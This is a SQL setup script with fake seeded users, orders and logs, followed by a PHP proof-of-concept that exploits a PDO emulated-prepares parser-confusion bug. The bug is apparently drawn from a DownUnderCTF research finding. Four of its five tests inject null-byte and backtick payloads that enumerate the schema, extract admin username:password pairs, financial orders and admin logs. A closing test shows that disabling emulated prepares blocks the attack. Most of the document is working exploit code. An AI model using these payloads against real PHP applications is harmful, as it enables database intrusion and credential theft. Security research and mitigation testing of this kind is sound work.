-- Tạo bảng fruit gốc từ ví dụ
CREATE TABLE fruit (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(50),
sku VARCHAR(20)
);
-- Tạo bảng users chứa thông tin nhạy cảm để exploit
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(100) UNIQUE,
password VARCHAR(255),
email VARCHAR(100),
role VARCHAR(20) DEFAULT 'user'
);
-- Tạo bảng orders với dữ liệu tài chính
CREATE TABLE orders (
id INT AUTO_INCREMENT PRIMARY KEY,
user_id INT,
product_name VARCHAR(200),
amount DECIMAL(10,2),
status VARCHAR(20) DEFAULT 'pending',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id)
);
-- Tạo bảng admin_logs với thông tin hệ thống
CREATE TABLE admin_logs (
id INT AUTO_INCREMENT PRIMARY KEY,
action VARCHAR(100),
user_id INT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
ip_address VARCHAR(45),
details TEXT
);
-- Insert dữ liệu mẫu vào fruit
INSERT INTO fruit (name, sku) VALUES
('apple', 'FRU-APL'),
('banana', 'FRU-BAN'),
('orange', 'FRU-ORG'),
('grape', 'FRU-GRP');
-- Insert dữ liệu nhạy cảm vào users
INSERT INTO users (username, password, email, role) VALUES
('admin', 'P@ssw0rd123!', 'admin@company.com', 'admin'),
('john_doe', 'secret123', 'john@company.com', 'user'),
('jane_smith', 'mypassword', 'jane@company.com', 'manager'),
('bob_wilson', 'qwerty456', 'bob@company.com', 'user');
-- Insert dữ liệu orders
INSERT INTO orders (user_id, product_name, amount, status) VALUES
(1, 'Premium Software License', 9999.99, 'completed'),
(2, 'Monthly Subscription', 29.99, 'pending'),
(3, 'Enterprise Package', 15000.00, 'completed'),
(4, 'Basic Plan', 9.99, 'active');
-- Insert admin logs
INSERT INTO admin_logs (action, user_id, ip_address, details) VALUES
('LOGIN', 1, '192.168.1.100', 'Admin login successful'),
('DELETE_USER', 1, '192.168.1.100', 'Deleted inactive user account'),
('BACKUP_DB', 1, '192.168.1.100', 'Database backup completed'),
('CONFIG_CHANGE', 3, '192.168.1.101', 'Updated security settings');
<?php
echo "=== PDO MySQL Injection PoC - PHPize.online ===\n";
echo "Target: MySQL 8.0 database with custom tables\n\n";
// Kiểm tra PDO emulation status
echo "PDO Configuration:\n";
echo "- EMULATE_PREPARES: " . ($pdo->getAttribute(PDO::ATTR_EMULATE_PREPARES) ? 'true' : 'false') . "\n";
echo "- Driver: " . $pdo->getAttribute(PDO::ATTR_DRIVER_NAME) . "\n\n";
// Test 1: Truy vấn bình thường (an toàn)
echo "=== TEST 1: Normal Query (Safe) ===\n";
$_GET = ['col' => 'name', 'name' => 'apple'];
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
echo "Query: SELECT $col FROM fruit WHERE name = ?\n";
try {
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo "Result: " . join(' : ', array_values($v)) . "\n";
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
}
echo "\n" . str_repeat("=", 60) . "\n\n";
// Test 2: MySQL schema enumeration
echo "=== TEST 2: MySQL Schema Enumeration ===\n";
$_GET = [
'col' => '?' . chr(0), // Null byte để trigger parser confusion
'name' => "x` FROM (SELECT table_name AS `x` FROM information_schema.tables WHERE table_schema=DATABASE())y;#"
];
echo "Payload strategy: Extract table names from information_schema\n";
echo "col payload (hex): " . bin2hex($_GET['col']) . "\n";
echo "name payload: " . $_GET['name'] . "\n\n";
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
try {
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
echo "✓ Prepare successful\n";
// Provide 2 parameters: dummy for confused ?, actual for WHERE
$stmt->execute(['dummy_param', $_GET['name']]);
echo "✓ Execute successful\n";
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo "=== LEAKED TABLE NAMES ===\n";
foreach($data as $row) {
foreach($row as $key => $value) {
echo "📋 Table: $value\n";
}
}
} catch (Exception $e) {
echo "Status: " . $e->getMessage() . "\n";
}
echo "\n" . str_repeat("=", 60) . "\n\n";
// Test 3: Extract user credentials
echo "=== TEST 3: Extract User Credentials ===\n";
$_GET = [
'col' => '?' . chr(0),
'name' => "x` FROM (SELECT CONCAT(username,':',password) AS `x` FROM users WHERE role='admin')y;#"
];
echo "Target: Extract admin credentials from users table\n";
echo "Payload: Concatenate username:password for admin users\n\n";
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
try {
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
echo "✓ Prepare successful\n";
$stmt->execute(['dummy_param', $_GET['name']]);
echo "✓ Execute successful\n";
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo "=== LEAKED ADMIN CREDENTIALS ===\n";
foreach($data as $row) {
foreach($row as $key => $value) {
echo "🔑 Admin credentials: $value\n";
}
}
} catch (Exception $e) {
echo "Status: " . $e->getMessage() . "\n";
}
echo "\n" . str_repeat("=", 60) . "\n\n";
// Test 4: Extract financial data
echo "=== TEST 4: Extract Financial Data ===\n";
$_GET = [
'col' => '?' . chr(0),
'name' => "x` FROM (SELECT CONCAT('Order:',product_name,' Amount:',amount) AS `x` FROM orders WHERE amount > 1000)y;#"
];
echo "Target: Extract high-value orders from orders table\n";
echo "Filter: Orders with amount > 1000\n\n";
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
try {
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
echo "✓ Prepare successful\n";
$stmt->execute(['dummy_param', $_GET['name']]);
echo "✓ Execute successful\n";
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo "=== LEAKED FINANCIAL DATA ===\n";
foreach($data as $row) {
foreach($row as $key => $value) {
echo "💰 " . $value . "\n";
}
}
} catch (Exception $e) {
echo "Status: " . $e->getMessage() . "\n";
}
echo "\n" . str_repeat("=", 60) . "\n\n";
// Test 5: Extract system logs
echo "=== TEST 5: Extract Admin Activity Logs ===\n";
$_GET = [
'col' => '?' . chr(0),
'name' => "x` FROM (SELECT CONCAT(action,'|',ip_address,'|',details) AS `x` FROM admin_logs ORDER BY timestamp DESC LIMIT 3)y;#"
];
echo "Target: Extract recent admin activity from admin_logs\n";
echo "Limit: Latest 3 log entries\n\n";
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
try {
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
echo "✓ Prepare successful\n";
$stmt->execute(['dummy_param', $_GET['name']]);
echo "✓ Execute successful\n";
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo "=== LEAKED ADMIN LOGS ===\n";
foreach($data as $row) {
foreach($row as $key => $value) {
$parts = explode('|', $value);
echo "🔍 Action: {$parts[0]} | IP: {$parts[1]} | Details: {$parts[2]}\n";
}
}
} catch (Exception $e) {
echo "Status: " . $e->getMessage() . "\n";
}
echo "\n" . str_repeat("=", 60) . "\n\n";
// Mitigation test
echo "=== MITIGATION TEST: Disable Emulated Prepares ===\n";
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
echo "PDO::ATTR_EMULATE_PREPARES now: " . ($pdo->getAttribute(PDO::ATTR_EMULATE_PREPARES) ? 'true' : 'false') . "\n\n";
// Test với payload cũ
$_GET = [
'col' => '?' . chr(0),
'name' => "x` FROM (SELECT 'HACKED' AS `x`)y;#"
];
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
echo "Testing same payload with emulation disabled...\n";
try {
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute(['dummy_param', $_GET['name']]);
echo "❌ Mitigation failed - still vulnerable\n";
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
print_r($data);
} catch (Exception $e) {
echo "✅ PROTECTED! Native prepared statements blocked the attack\n";
echo "Error: " . $e->getMessage() . "\n";
}
echo "\n" . str_repeat("=", 60) . "\n\n";
// Summary
echo "=== DEMONSTRATION SUMMARY ===\n";
echo "✓ MySQL database successfully exploited via PDO parser confusion\n";
echo "✓ Extracted table names from information_schema.tables\n";
echo "✓ Leaked admin credentials from users table\n";
echo "✓ Exposed financial data from orders table\n";
echo "✓ Retrieved system logs from admin_logs table\n";
echo "✓ Verified mitigation works by disabling emulation\n\n";
echo "🎯 Key Findings:\n";
echo "- PDO emulated prepares vulnerable to null byte injection\n";
echo "- MySQL information_schema accessible for schema enumeration\n";
echo "- Custom database tables successfully targeted\n";
echo "- Parser confusion technique works across database types\n";
echo "- Only mitigation: PDO::ATTR_EMULATE_PREPARES = false\n\n";
echo "📚 Research Credit: hashkitten @ DownUnderCTF 2025\n";
?>